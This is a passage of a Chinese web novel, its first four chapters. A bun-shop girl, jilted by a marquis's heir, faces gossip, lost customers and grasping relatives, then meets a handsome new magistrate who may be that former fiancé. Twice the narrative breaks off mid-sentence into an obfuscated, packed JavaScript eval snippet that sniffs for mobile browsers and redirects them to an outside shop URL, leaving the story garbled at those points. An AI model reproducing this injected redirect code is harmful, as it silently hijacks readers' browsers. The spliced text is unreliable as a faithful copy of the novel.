《错撩未婚夫兄长后》 1. 第 1 章 “你说的就是她?唉,命真不好,眼看着到岁数能嫁人了,还被退婚。” “哪里是命不好,命好着呢,据说光是送的礼物就有一马车!而且人家出身富贵,怎么可能差卢家的?保管给足了银钱,说不定从今往后再也瞧不见卖馒头的卢小娘子了。” 两个妇人原本声音不小,晨时的街道上人来人往吵闹异常,她们说话声被掩盖住旁人也听不见。但当那道倩丽人影越走越近时,妇人赶紧闭口不言,只用眼睛滴溜溜的往对方身上瞧。 一身浆洗过多次的浅杏色衣裙,身形高挑走路带风,再往上看,一张圆脸,眉眼生的讨喜,尤其是那双圆杏眼,又大又亮仿若星辰。 她手里拎着一个布兜子,垂眸走路,似乎对周遭的事物不感兴趣。 待人走远了,两个妇人才敢继续嚼舌根。 “我看卢小小娘子穿着和以往没什么不同啊?不是说送了一车礼物吗?那肯定有好布料,怎么还穿着旧衣服。” “这你就不懂了,”妇人凑近了小声道:“若是急吼吼的穿上,岂不是显得无情无义?就得表现悲伤不已,才能体现出卢家被退婚的凄惨。” 凄惨倒是不至于,就是愤愤不平罢了。 拿出钥匙开了门,被讨论的卢家小娘子阿雪净手和面,开始做今日要卖的馒头。 “阿雪啊,怎么今日来的这么晚?” 店门口来了一个妙龄女子,瞧着和阿雪的年岁差不多,手里拿着两个煮熟的鸡蛋,三步并作两步的进了铺子。 镇子上的铺子都不大,尤其是阿雪的馒头铺子,只能容纳几个人,随买随走。因着用料扎实物美价廉,所以生意一直都不错,阿雪勤奋能干,风雨无阻早早来铺子,往日这个时辰该卖了几蒸屉了才是。 “起的晚了。”阿雪随口答。 “莲花,你早上吃饭了吗?没吃的话等第一锅馒头吧。”她说话声音清脆悦耳,抬头眉眼弯弯,笑起来的时候脸上有两个小酒窝。 叫莲花的女郎点头,眼见着阿雪面色不好,她故意语气轻快想哄阿雪高兴,于是道:“那当然啊,我拿了鸡蛋,你先吃一口垫垫肚子。喏,两个鸡蛋换你一个馒头,不亏吧?” 阿雪又笑,总算恢复了往日的精气神。 “当然不亏,你想吃几个就吃几个,管够。” 做事麻利的阿雪在和莲花说话的功夫,便已经将面团揉成形,放在温水上,待面发起来便大火蒸制。 拿过一旁的抹布擦手,拉着莲花在一旁的凳子上坐下,两个小娘子将鸡蛋分着吃了,鸡蛋黄干噎怪难受的,拿起一旁的茶壶倒了两盏热茶,慢慢吹着喝。 莲花觑着阿雪的脸色,有心再说几句宽慰的话,毕竟十年的婚约说退就退了,任谁也不会这么快就平复自己。只是刚要开口,就有客人上门买馒头。 阿雪站起身,如往常一般笑着迎客,道:“今日第一锅馒头还没做好,王管事怎么来的这般早?坐下稍等片刻,一会出锅了就给你装。” 阿雪馒头铺子生意一直不错,因此也有些老主顾,比如这位王管家,便是镇上富商府上的管家,隔几天就会来采买一次,这些年都是如此。 阿雪因为糟心事起来的晚了,也将这件事抛之脑后,忘了今日是王管家来取馒头的日子。 不过每次他都是晌午时候才来,怎么今天来的这么早? 与热情招待的阿雪相比,王管家的态度堪称冷漠。 他长的瘦弱,年岁大眼睛耷拉着,微微掀掀眼皮,皮笑肉不笑道:“卢小娘子,我此次来就是想告诉你,往后不用再准备我们府上那份了。” 莲花惊讶的张大嘴巴,阿雪也面色恍惚,不过很快反应过来,勉强露出一抹笑。 “成,若是再有需要,尽管来告诉我便是,我提前准备好。” 王管家惊讶。 面前的卢小娘子不过十六岁,开了这间铺子满打满算不到两年,两年前王家就开始在这定馒头,而且每次要量不小,也算是这间小铺子的大客户。来的路上王管家还在想,如果卢小娘子死缠烂打涕泪横流,他该如何招架,甚至做足了准备,绷着脸进来。 却意料之外的好办。 不仅如此,阿雪还转身去了铺子最里面,拿出盒子里压着的钱袋子,数出来一大把铜板,捧着来到王管家面前。 “每次你都是提前给下次的定金,这就是上次给的三十文,你数数看对不对。” 差点将此事忘了。 不过王管家更加惊讶了,王家也是做生意的,都知道付了定金那就代表事情成了,若是因为给钱一方反悔,定金可是不能退的。 没想到卢小娘子不仅退了,还是全额退还。 这下,轮到王管家不自在,怎么也不敢对上阿雪的眼睛了。 总来买馒头,知道撑店的卢家小娘子性子坦率爱笑,除却馒头好吃外,她性格好也是招客人的重要原因。 王管家其实挺喜欢阿雪的,也按照主子吩咐和她打好关系。 但世事难料啊。 谁能想到十年的婚约,说吹就吹? 曾经的卢雪让人嫉妒的眼睛发红,觉得她小小村女真是捡到天上掉下来的馅饼,眼瞅着就要飞上枝头变凤凰,简直就是鲤鱼跃龙门,就差最后一跃。 却没想到未婚夫婿家直接将门关上了! 王管家感叹万千,想了想只收了一半的钱,剩下的钱留在阿雪的手心里,他一改方才的态度,语重心长道:“小娘子放心,若是府里还需要定包子馒头,肯定第一个找你。” 看着阿雪的笑脸,王管家走的时候直摇头。 可怜见的,现在脸上堆着笑,晚上说不定怎么哭呢。 还真没哭,就是有些气恼罢了。 阿雪坐下,圆脸逐渐变红,坐在那的手指也握掌成拳,明显是气恼极了。 “阿雪,你还年轻生的又貌美,肯定会有好人家来提亲的。”莲花还以为阿雪是因着婚事难受,谁料阿雪从牙缝里挤出来一句话。 “第二家了。” “啊?”莲花没听懂。 阿雪无奈,索性去喝已经变温的茶,一口气喝完,才缓声解释道:“昨日就有一家老顾客说不定了,今日的王家是第二家。” 啊…… 啊?! 莲花有点懵。 合着她这两天不高兴不是因为退婚,而是因为生意不好了? 平日里阿雪的性子便比寻常小娘子更豁达,可能因为她像她爹的关系,所以莲花更喜欢和阿雪相处,说话办事不用那么多顾忌。 之前知道阿雪有一门侯府的娃娃亲时,说不羡慕是假的,但也只是羡慕不至于嫉妒。前几天听闻京城侯府来了人退婚,莲花急的如热锅上的蚂蚁,像是自己被退婚似的,赶忙去卢家找阿雪。 到的时候,京城来人已经走了,院子里阿雪垂头丧气的坐在那,两只手搅着袖子。 这件事着实是侯府做的不地道了,莲花想,难道就因为他们是平头老百姓,才像是拿捏蚂蚁一般拿捏他们? 自那天之后,阿雪的心情一直不大顺畅。可万万没想到,她竟然是因为生意不好。 阿雪叹气:“莲花,你说怎么就一个两个全都不在我这定馒头了?” 在这个节骨眼上如此行事,还能是什么,自然是因为听说阿雪被退婚了呗。不过这话莲花没说,徒增烦恼。 莲花走了之后,阿雪独自坐在铺子里,一上午过去,生意比往常减了至少三分之一。随了猎户老爹性子的阿雪只是淳朴罢了,又不是傻,下午时候她就琢磨过味儿了。 “莫不是因为退亲一事,所以大家都不来买我的馒头了?” 当然,也想明白为了老主顾为何不定馒头了。 气恼的阿雪噌的从凳子上站起来,“太过分了!” 她生的白嫩,气血上涌时候便整张脸都如熟透的虾子一般,好半响才褪去,留下脸颊上的一抹红,明明未施粉黛,却像是涂抹了胭脂一般,貌美动人。 “阿雪。” 有人说话。 阿雪回过头,便瞧见着青色衣衫的清秀郎君。“严夫子,来买包子?今日还是素馅三个吗?” 严为之是镇长学堂的教书先生,秀才出身,听说今年要参加秋闱。阿雪只认识简单的字,家里老爹是猎户,十三岁的弟弟也跟着打猎,全家人都对这些读书 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“谢谢。”臊红了脸的严为之说了这么一句便转身匆匆离去。刚走出几步又折返回来,拿出几枚铜板放在桌子上,方才走的急忘了给钱。 阿雪爽快一笑:“没关系的,忘了就下次给。” 每天都来买的老主顾了,不怕赖账。 “过去之事犹如云烟,风吹即散。当穿透迷雾往前看才是。” 说完,严为之深深的看了阿雪一眼才走。 好半响好之后,人影都瞧不见了,未曾启蒙的阿雪才过去收钱,咕哝道:“说什么呢。” …… 虽然少了几个大主顾,但一天下来也卖完了所有的包子和馒头,因此阿雪心情舒畅不少。眼看着天色擦黑,她将铺子收拾好,和好的面团用布遮盖好,又扣了锅盖,这才锁门离去。 入春之后,乍暖还寒,早上带着气儿出门不觉得冷,这么会吹的她抱紧双臂,微微蜷缩着往前走。 小镇上的百姓们日出而作日入而息,这个时辰街道上的大多是急匆匆赶路回家的人,和阿雪一样,归心似箭。 昨日卢爹带着阿雪弟弟卢石头进山打猎,每次去都要五六天,长的时候甚至要半个月,家里只剩下身体孱弱的母亲,因此阿雪步履越发匆忙。 走着走着,听见身后有车轱辘滚动声,阿雪回头,便见到一辆乌盖马车由远及近。 且不说这个时辰还有人出门,光是马车便不常见,毕竟这里普通百姓一般靠腿,只有那些富户们才有驴车牛车,再宽裕一些如王家,首屈一指的大户人家,才有一辆马车,且不怎么用。 因此见到马车,阿雪停下脚步看了过去。 车辕上立着一盏灯,也不知道灯罩是什么材质,薄透明亮,照亮那匹通体漆黑的马儿。 赶车的是个年轻人,衣着华贵,若是平日里看见他,阿雪定然觉得对方是大户人家的郎君。可竟然还只是赶车的车夫,也不知道车里坐着的到底是什么人。 立在那目送马车离开,阿雪感叹道:“说不定是比王家还富裕的大户人家。” 这里只是一处小村镇罢了,总不能是当官的吧? 胡思乱想的功夫,就走到了家门口。推开栅栏院门,阿雪喊了一声娘。 “哎,阿雪回来了。” 这里的房子都是小门小院,中间是堂屋,两边各有房间,除此之外,阿雪爹爹还单独建了个小房子,用来放打猎的东西。 天色太暗,阿雪没瞧见小仓库前坐着一个人。 “娘,你怎么坐这了?” 阿雪的娘就坐在门口小凳子上,因为太过瘦弱缩成一团,阿雪才没瞧见的。 房间门开着,原本该挂好的兽皮等山货全都散落在地上,听见靠近的脚步声,妇人抬起头,露出一双红肿的眼。 阿雪弯腰凑过来看,妇人别过脑袋,胡乱的擦了一把脸,匆忙起身似要逃离。 “娘去给你烧水洗澡,忙了一天洗洗好睡觉。” 刚迈出一步,便被阿雪拉住手。 十几岁的小娘子性子爽朗总是笑盈盈的,这会儿板着脸,眸中带了怒气,说话声音也大了不少。 “娘,是不是他们又来欺负你了?” 2. 第 2 章 阿雪的娘叫焦红杏,以前和阿雪爹卢大富住在一个村子,只不过一个村东头,一个村西头,而且卢大富总是进山打猎,俩人没见过几面。 原本焦红杏和卢大富没有交集的,但焦家双亲没了只剩下年纪不大的焦红杏,人生的貌美就容易出是非,她身体又不大好,可谓是前有狼后有虎,不少人对她虎视眈眈。 一次她出去采野菜,被村子里的泼皮堵在了人迹罕见之处,幸好卢大富及时出现赶走那泼皮,但也瞧见衣衫不整下雪白的肌肤。 他红着脸讷讷说不出话,焦红杏捂着衣裳哭。 最后,卢大富上门提亲娶了她,自此焦红杏便有了靠山。 后来卢家老爷子去了,卢大富总进山打猎家里没人陪伴,为了能让身体不好的焦红杏过的自在,他们一家搬去了镇子上。靠着卢大富一把子力气和百步穿杨打猎的能力,一家过的不错,生了卢雪之后,又生了卢石头。 姐弟俩样貌不大一样。 阿雪像极了焦红杏,生了圆脸圆眼,娇憨貌美。卢石头则是像他爹,一脸的憨厚。但这姐俩的性格一模一样,都像卢大富,直爽单纯。 比如此刻,看着卢家满地的狼藉,阿雪气的涨红了脸,抄起门口的木棍就要冲出去,被焦红杏拦住。 “阿雪,你莫要冲动。” “娘,他们太过分了!” 阿雪顾忌母亲身体,不敢用力挣脱,只咬牙切齿道:“趁着爹和弟弟不在,就上门欺负你,看我去给你讨公道!” 圆杏眼里染着怒气,胸膛剧烈起伏。 焦红杏叹气一声,给女儿拢了下碎发,温声道:“他们到底是卢家的长辈,打着关心晚辈名义过来无可厚非,但你拎着棍子上门,就容易落人口舌。阿雪啊,你听娘说,如今婚事刚退,正是风口浪尖上,现在莫要惹其他事情,免得被人嚼舌根坏了名声,到时候不好找婆家。” 说起这茬,焦红杏就不可避免的替女儿难受,眼圈登时红了,垂泪欲滴。 好好的亲事,都过去十年了,说退就退了。虽然他们早有准备,知道平头百姓进不了京城侯府的大门,但事情到来还是无法接受,焦红杏偷偷哭了好几次,怕女儿找不到好婆家。 在母亲的安抚下,阿雪冷静了几分,她放下棍子道:“娘,我不去,你别哭” “你和石头的性子一模一样,都像你爹,太莽撞,容易吃亏的。” 阿雪展颜笑了,用自己袖子给焦红杏擦眼泪。“爹爹性子好,否则娘也不会看中他啊。” “胡说八道。”焦红杏也露出一抹笑意。“阿雪你别往心里去,我们的日子该怎么过就怎么过。饿不饿?娘给你煮碗面吃。” 原本不想让娘下厨,不过阿雪改了主意,等焦红杏进厨房后,阿雪点了一盏灯笼照亮院子,开始收拾地上的东西。 卢大富身手好,又有卢石头跟着,父子俩每次都是满载而归,因此库房里存放了不少兽皮兽骨等玩意,一部分是要卖钱,另外一部分则是留着冬日里给娘几个做衣服御寒,比棉花暖和多了。 阿雪捡起来之后粗略一算,少了两张灰兔皮,估摸着是哪个人趁乱偷偷带走了。 气不打一处来的阿雪拿着兽皮进了仓库,等焦红杏端着面出来,她才快速闪身而出,直接将库房锁上了。 “阿雪,里面收拾好了?” “嗯,好了。”阿雪低垂着眼眸应了一声,没敢看焦红杏的眼睛。 母女俩吃完饭洗漱一番,把院门锁好,屋里门从里面闩好,便躺在一个床上睡觉。 可能是今日发生了太多事,焦红杏一时无法入睡,阿雪便小声同她叙话。为人母自然是最担忧孩子,她道:“早知道侯府送的礼物收下好了。” 来退婚的人自称是管事,拉了一马车的东西,都是用盒子装着也不知道里面是什么。卢大富乃是性情中人,骂了一顿后直接退还信物,也不要他们的东西。 焦红杏叹气:“总归是给咱们的补偿,收下也没什么的。” 阿雪翻身面对着她,“我爹脾气你还不知道,不可能收的,而且家里不差那点东西。” “也是,”焦红杏转念一想,“既然都要退婚了,给我们的可能也不是好东西,大抵是应付外人,怕侯府名声不好。罢了,总归不是一条道上的人,没必要攀着他们。咱们过路,他们过桥,桥归桥路归路,各自过好日子。” “对。”阿雪笑着应声,伸手去抱焦红杏,娘俩没一会便沉沉睡去。 翌日天刚亮,娘俩同时醒来,看见阿雪穿戴整齐准备走,焦红杏问她:“生意没受到影响吧?” 她身体不好,馒头铺子全靠阿雪一个人支撑着,一个月也不少挣,钱都在焦红杏手里存着,等着到时候给阿雪做陪嫁。 阿雪低头整理衣摆,状似不经意道:“好着呢,没什么区别。” 焦红杏默默叹了口气。 她生的孩子她最是了解,姐弟俩个都性情天真的不会撒谎,只要一撒谎就不敢看人的眼睛。 看来,退婚这件事到底是在镇子上传开了。 想到那日的场景,焦红杏心口又是一阵抽痛。 其实自打知道谢家那孩子被认回侯府后,他们夫妇俩便预料过有这么一天,但等这天真正来临时,还是会下意识的难以接受。 幸而那日卢大富还没进山,全程都是他在答对,焦红杏被卢石头扶着进屋里坐着,一坐就是到了晚上,等阿雪回来,将这一噩耗告知她。 原本家中气氛沉闷,谁成想阿雪只是笑笑。 “退就退,没什么大不了,我都忘了谢家那小子长什么样子了。” 可不仅仅是被退婚的事情。 等到生意变得不好,周围人议论纷纷时,阿雪才意识到,谢家那小子轻飘飘的一句话,让他们这个家承受了什么,更不用说那些如蚂蟥一样扑上来想要借机吸血的村里亲戚。 阿雪临离开家之前,告知焦红杏莫要进库房里,说里面她都收拾好了。焦红杏点头应下,目送女儿离去。 现在才初春,山里的猎物恐怕不好打,阿雪估摸着这次老爹和石头最快也要五六天之后能归,也不知道那些亲戚还会不会来。坐在铺子里,阿雪胡思乱想,心中多了对前未婚夫的怨气。 俩人怎么说也算是青梅竹马,当时作为邻居生活了好几年,焦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561445|142725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红杏可怜他们母子俩无依无靠,对他们多有照顾,冬日送兽皮,夏日送瓜果,可谓无微不至,也因此结下娃娃亲。 可现在在看,之前的一切好像都是笑话。 阿雪愤愤,将手里捏着的小块馒头塞嘴里大口嚼了。 今日生意不好不赖,有些客人来买馒头时,还借机打量阿雪,想看看她是否夜夜哭肿了眼睛。 可惜,没有遂了他们的愿,阿雪好的很,吃饭睡觉做活,日子有条不紊。 好像和退亲之前没什么区别。 镇子不大不小,因此有点事情便会传开,但没传多久,阿雪退婚的事情便被另外一件事掩住。 镇子里发生命案,死人了。 当天阿雪在给客人装馒头,莲花急匆匆的过来。“阿雪啊,死人了你知不知道?” “啊?”阿雪吃惊,手上没拿住,圆滚雪白的馒头落在地上滚了两圈。 “抱歉,这就给你拿新的。”阿雪赔罪之后手脚麻利的装好,待客人走后,她面带震惊的问,“怎么回事?谁死了?” “哎呀,镇子里都传开了,就是淹死在镇外的那条小溪里,好像是个年轻郎君,具体的我也不知道。不过听人家说已经报官了,兴许明天官府的人就能来。” 平和安稳的小镇第一次遇到这样恶性事件,一时间人心惶惶,阿雪顾不得天黑就收了摊子,怕焦红杏自己在家不安全。 等到回家之后,便瞧见库房门又开了,她快速过去扫了一眼,见地上落了两个大棒槌。圆脸小娘子绷着的脸露出笑,关好门步履欢快的进屋。 “娘,今天谁来了?” “阿雪,你回来了。”歪在床头的焦红杏起身,“今天怎么这么早?” 阿雪没答话,先是上下打量焦红杏,见她面色红润不像是被欺负,她才松了口气。“卖完了就先回来,娘,今天是不是来人了。” 那库房的锁和房门都被破坏,既锁不了又关不严,焦红杏身体不大好,想着休息一会再去整理,没想到今日阿雪回来的这般早,被她撞见了。 “你大伯和叔叔一家来了。” 说是大伯和叔叔,并不是亲的,只是有点血缘关系罢了。焦红杏缓缓起身,“阿雪,仓库里的机关是不是你放的?” 那群人要进库房,焦红杏一个人自然拦不住,没成想进去之后都吃了棒槌,脑袋上打出好大的包。生怕有别的陷阱机关,这才没往里进。 瞧见焦红杏面色严肃,阿雪赶忙凑过来,撒娇道:“我就是怕有老鼠才弄了机关,哎呀,娘我饿了。” 她一张脸上像是白纸一般写着小心思,焦红杏哪里不知道阿雪心中所想? “下次不许弄了,免得伤了手。” 不是怕伤了别人,是担心自己女儿受伤罢了。 阿雪抱着她的胳膊,撒娇道:“知道的,娘。” 晚上吃饭时候,把命案事情告诉焦红杏,嘱咐她白日里也锁好门,这次索性谁来都不开。焦红杏担忧她,“阿雪,那你晚上早点回来。” “知道的,现在天黑的晚,放心,我会提前回来。” 只是第二天到底没能如愿。 3. 第 3 章 命案之后小镇上来了不少官府的人,一时间犹如水洒热油锅,沸腾热闹,人多自然要吃住,小镇上唯一的客栈生意大好,附近的小酒馆也高朋满座,连带着阿雪的生意都好了不少。 下午时候她又蒸了两锅,盘算着时辰,估摸着要回去晚了,便托付莲花去家里告诉一声。 莲花应下,道:“那你也别太晚回去,免得伯母担心。” “放心,”阿雪伸出还沾着面粉的手,指了指街道上来回走动官府的人,道:“这么多人,就算有坏人也不敢出来。” “那倒是,对了阿雪,你可曾见过来的那位大官?” 阿雪摇头,瞧见莲花一脸的兴奋,神神秘秘凑近了道:“谁能想到县令爷是个年轻的郎君,长的可俊了!” “那有什么,”阿雪不甚赞同,道:“咱们镇子里也有不少俊俏郎君啊,比如严夫子。莲花,可不能因为人家穿着官服,就觉得好看。” 莲花又道:“不止长的好,听说他还是新科探花郎呢!对了,还是从京城里来的,据说家里颇有地位,是什么什么官爵之后。” 世家大族对于小镇子里的人来说都太过遥远,县令爷对他们来说就已经是天大的官了。 莲花还是第一次见到世家出身的郎君,因为对方过于出众的样貌,她痴痴楞楞站在那看了好一会,人都走远了才缓过神儿来。 “长的太好了,阿雪我还是第一次见到如此人物,好像画里走出来似的。” 阿雪听闻轻哼一声,对那劳什子郎君一点兴趣都没有。只道:“出身越好的人对咱们这些底层老百姓就越欺压。” 谢家那小子不就是如此吗? 以前他们是邻居,都是平头老百姓,俩人也算是青梅竹马两小无猜,虽然时间太久有些记不清了,但阿雪记得她对他多有照顾,他也对她细心呵护。 后来他被侯府的人带走,自此了无音讯。 是,她是普通人,进不了侯府的大门。但这些年,难道不能给她传个一字半句吗? 退亲时被搅乱的心境好不容易平复下来,却又被这些外来者勾起回忆。 阿雪实话实说,莲花听出来她对那位前未婚夫越发的愤恨,便也不敢提,只草草说县令大人一表人才云云。 俩人关系亲密说话也直接了当,阿雪担心莲花被大官哄骗了去,道:“我听人家说,当官的家里妻妾成群,若是在外面碰见好看的,直接掠走当小的,莲花你长的好看,可要小心些。” 莲花涨红了脸,有心说那位大人俊美如谪仙,就算当他的丫鬟也成啊。但这话只能在肚子里,不敢当着阿雪面说出来,含糊几句糊弄过去赶忙离开了。 有穿着官服的衙役过来,方向正是阿雪的铺子。不知道这么回事,阿雪莫名的紧张起来。 或许是因为长这么大也没接触过官府的人,老百姓怕官是刻在骨子里的。她立刻擦干净手,这时候两个衙役也走近了。 方才离的远没看清,待近了之后发现这位素衣布裙的女郎生的着实貌美,尤其是那双圆杏眼,黑白分明清澈干净,犹如山林之间走出的小鹿,好像一切的脏污都入不了她的眼。 “小娘子,与你打听一些事情。” 官府的人问话向来态度冷硬,一是因为他们的身份,二则是为了震慑住百姓让他们说实话。 但此刻,说话的衙役声音软了几分,假装不经意的看了阿雪好几眼。 “可曾见过这个人?” 对方拿着一副男子画像,阿雪认真看了会,摇头道:“不认识。” 顿了顿她又问:“这个人是谁,坏人吗?” “不是。”卷起那张画像,衙役道:“是死者,只不过现在身份未确定,若是小娘子想起什么,请及时告知。” 原来是淹死的那个人,连身份都不知道,还怪可怜的。 来的衙役不少,起码有二十多个,都拿着画像沿街询问,问完后朝着镇中心走去。 这条街最中间的位置便是本镇唯一的客栈。 往日里也有路过打尖住店的客人,不过从未有哪位客人阵仗如此之大,光是马车就停了三辆。高头大马侍弄的皮毛发亮,马鬃随风迎展。也正因为如此,百姓们便传言,说许多达官贵人都来了,就是为了破案。 有一人从客栈里出来,快步来到最后面的马车里,撩开帘子一看,根本就不是用来拉人,而是满满登登放了不少东西。这人取了一个盒子,随后又快步折返回去,直奔二楼位置最好的上房。 咚咚敲了两下房门,静待片刻,透过门板传来一声懒洋洋的“进”。 正值午后,暖洋洋的日光洒在窗户上,初春柳树发芽野花疯长,清风裹挟着淡淡春日气息,透过半开的窗子铺面而来。 松石慢慢将怀里的匣子小心翼翼放在桌子上,抬头看向斜靠在圈椅上,姿势懒散的人。 “郎君,茶具取来了。”松石道。 他颔首淡淡的嗯了一声,随后侧头看过来。 梳的整齐的发鬓,清风拂过,有几根垂下落在略高的眉骨上。 深邃的瑞凤眼,眼尾微微上挑,透着几分漫不经心。淡黄的光晕擦过他的脸颊,他随意的抬起眼帘,唇角翘起微微的弧度,天生一张笑面脸,像是在寺庙里见到的悲喜菩萨。 明明在笑,笑意却不达眼底。 即便如此,他们家郎君在全京城也是清风朗月的人物,谁人不知永安侯府的世子爷是大显朝第一美男子。 从小就侍候谢临安的松石,也不得不感叹一句:郎君俊美如谪仙,怪不得圣上决断之后没点他做状元郎,反而点了探花。 “看什么?”谢临安开口,声音冷淡,“洗了杯子泡茶。” “是。” 右手闲散的搭放在扶手上,谢临安转了视线朝楼下看。 松石明白他们郎君在想那件命案,因此也没去打扰,手脚麻利的将杯盏拿出来,烫杯泡茶一气呵成。 古朴的杯盏瞧着并不起眼,但若是识货的人在此,便能看出来这套杯盏是出自大家之手,不说千金难求也差不多了。 出身豪门世家,母亲是郡主,父亲是侯爷,出生还未满月便被圣上直接册封为侯府世子,几岁时入宫当了太子伴读,十几岁下场考试成为探花郎,二十岁做了一方县令。 得天独厚,真正的天之骄子。 松石胡思乱想的功夫,茶泡好了,他立刻端了一盏放在谢临安的面前。“郎君,请用。” 茶香袅袅,在蒸腾的热气中,谢临安俊逸的眉眼变得朦胧。 他抬手端起,浅啜一口后立刻放下杯盏。 “这是从京城带来的?” 澄亮浅褐的茶汤,香气浓郁,松石略懂茶道知道这是上好的茶叶。“是临行前夫人派人送来的。” 不止茶叶,衣裳饰品也准备的一应俱全,全部都是佳品,好像并不是来此赴任,只是来踏青罢了。 可惜…… 松石抬眼看向自己的主子,着一身官袍,那些准备好的东西没了用武之地。 “换一壶。”谢临安忽地开口。 松石疑惑的啊了一声,因为他记得郎君在京城侯府里,最喜欢喝这个茶,是皇宫里赏赐之物,只有侯府大房才有的好东西。 年轻俊朗的郎君长指轻轻点了杯盏一下,水面顿时漾开涟漪。 他浑不在意道:“倒了。” “郎君,听闻当地盛产一种茶叶,虽然不甚精致,但也能入口,要不然您尝尝?” 松石恨不得打自己一巴掌。 怎么出了京城之后他反而不谨慎了?竟然忘了郎君喜新厌旧的毛病。 也不能说是毛病,大抵是因为从小就享受天底下最好的东西,和宫里那些皇子们都不相上下,因此看见什么东西都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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因为退亲一事而受到影响的生意,在这些官府的人涌入之后反而变好,毕竟不少百姓好奇官差,便假装买馒头凑近了看,阿雪蒸了一锅又一锅,忙的脚不沾地。 人群总算在天色擦黑时散去,阿雪来不及擦汗,去看锅里剩下多少。就在这时,听见有人要买素包子。 “三个。” 一道清冽悦耳的陌生声音。 阿雪抬头,天色太黑,她只能瞧见是个身材颀长的郎君。 “哎,这就来。” 她先是提着手边的灯笼照亮蒸屉,捡出三个热乎的菜包子放在油纸包里,随手拎过油灯往门口处走,还热心的嘱咐道:“趁热吃,一会热气散了。” 油灯靠近,阿雪才发现这人穿着一身官服,但很明显和那些衙役不一样。 莲花说的县令? 右手缓缓提起,光亮便随着小娘子的手慢慢往上,最后昏暗的光定在俊俏郎君的脸上。 俊朗非凡的,犹如谪仙一般的郎君。 阿雪愣住,举着油灯像是一根木桩子。 那人唇角翘着似乎在笑,但眼中却半点笑意都没有。 半响之后。 “看够了?” “看够了,不是,给你。” 阿雪涨红了脸,一时间手足无措。 对面的青年伸出手递银钱给她,阿雪低头去接的时候,瞧见对方手背上一颗小小的,芝麻大小的痣。 谢家小子左手也有一颗这样的痣。 阿雪抬头,青年俊美清隽的脸上依稀能辨认出儿时的影子。 “谢郎君?” “大胆,还不叫大人?” 松石适时冲出来,方才就发现这个女郎看郎君的眼神不对了,果然,又是一个想要攀龙附凤的愚蠢之人。 松石挡在谢临安面前,面色不虞道:“包子给我,钱给你。” 这种人松石见多了,一股脑的朝自家郎君示好,看吧,她定然不要钱,然后将东西送给他们,还要讨个好卖个乖。 果然如松石所料,那个漂亮小娘子将放在桌上的钱推了过来,却道: “不好意思,卖完了。” 啊? 这小娘子睁眼说瞎话啊。 4. 第 4 章 日月交替,夜色正浓。 松石身量不如谢临安,因此阿雪能够轻易越过松石,看向谢临安的脸。 实话实说,虽然俩人幼时比邻而居好几年,几乎日日混在一起,但那都是多年前的事情了,很多事情阿雪都记不大清楚,甚至忘记谢家小子长什么样子了。 不过,再次见到人,阿雪感叹,儿时就觉得他长的好看,那时候旁人还说,小时候越好看长大了越丑。 可他没变丑啊,反而越发的英姿俊逸,风流倜傥。 眼睛眨了几下,阿雪再次问:“你是谢郎君吧?” 糟了,当时前未婚夫的娘只给他起了个小名叫谢安,也不知道被侯府认回去后改了什么名字。因此,阿雪谨慎的叫他郎君。 谢临安面色没什么变化,倒是松石,一脸的厌烦。 这样的女郎太多了,像是蚂蟥似的,见到自家郎君就扑上来。刚才说卖完了估计也是欲擒故纵,想要表现自己与其他女郎的不同。 “我都说了,叫谢大人!” 松石不耐烦,转身换了副面孔:“郎君,我们走吧。” 主仆俩谁都没再搭理阿雪,小娘子眼巴巴的站在黑夜里目送他们。 走出很远之后,松石回头,依然能瞧见那点微弱的光亮,他哼了哼低声道:“不自量力。” 小小村女也敢肖想他们郎君。 “应该是他。” 收拾铺子的阿雪琢磨着,因为痣能对上,面容也能对上,而且都是姓谢。 晚上阿雪翻来覆去的睡不着,焦红杏了解女儿当即明白她有心事,可是问了却不肯说。 罢了,女儿大了有自己的小心思。 翌日阿雪特意绕道从客栈前经过,可惜,没瞧见人。 到了铺子里后莲花来了,俩人说了几句话,阿雪问她:“那个县令爷,是京城哪个府里出来的?” 昨个还说不要光看表面,今日怎么就开始打听起谢大人了? 莲花笑嘻嘻:“你见到谢大人了?是不是长的好?” 长成那样,寻常小娘子怎么可能不动心? 莲花啧啧:“具体我也不知道,不过你要是想知道,我可以帮你去打探。” 说着莲花起身过来戳阿雪的脸蛋,不待阿雪说话她就笑嘻嘻的跑远了。 莲花家就住在主街,家里开了一间小小的绣品铺子,也接做成衣的活,日子还算可以。 认识的人多打听的渠道也多,不等晌午就回来告诉阿雪,谢大人出身京城侯府,具体是哪个侯爷之子,并不知晓。 “是了。”阿雪喃喃,“都对上了。” 可是她有一个疑问,为何谢家那小子像是不认识她一样? 可能时间久远他没认出来,阿雪想着,待下次见到他一定要仔细问问,凭什么两个人的婚事他一个人说了算? 她才不干! 只是等了一天也没见到人,阿雪忙着生意把这件事抛之脑后。 生意好钱挣的也多,阿雪心情大好,喜滋滋的推开家里院门。 先是看了眼库房,没有被动过的迹象,看来那些亲戚吃亏之后不敢上门了。 可是等进了屋,发现焦红杏眼眸泛红,明显哭过了。 阿雪心下一沉,三步并作两步上前,“娘,你怎么了?家里又来人了?” “娘没事,就是外面风大吹的。” 知女莫若母。 焦红杏了解女儿性子单纯善良,她随意的说几句话便将阿雪糊弄过去。 第二天早上去往铺子的路上,阿雪正在琢磨谢郎君的事,一个没注意被人拦住了。 “我是你婶娘。” 拦路的妇人又瘦又黑,可生了一把子力气,抓住阿雪的手不松开,“你小时候我还抱过你哩!” 以前在村子里时,这些亲戚们便时常上门,那时候阿雪的祖父还在,心生善念,时常给这些亲戚一些东西让他们打牙祭。后来卢大富和焦红杏搬来镇子上,离村子太远了,因此少了来往。 不过他们一年也会来几次,卢大富懒得和他们费口舌,就会把打回来的野鸡一家分一只。 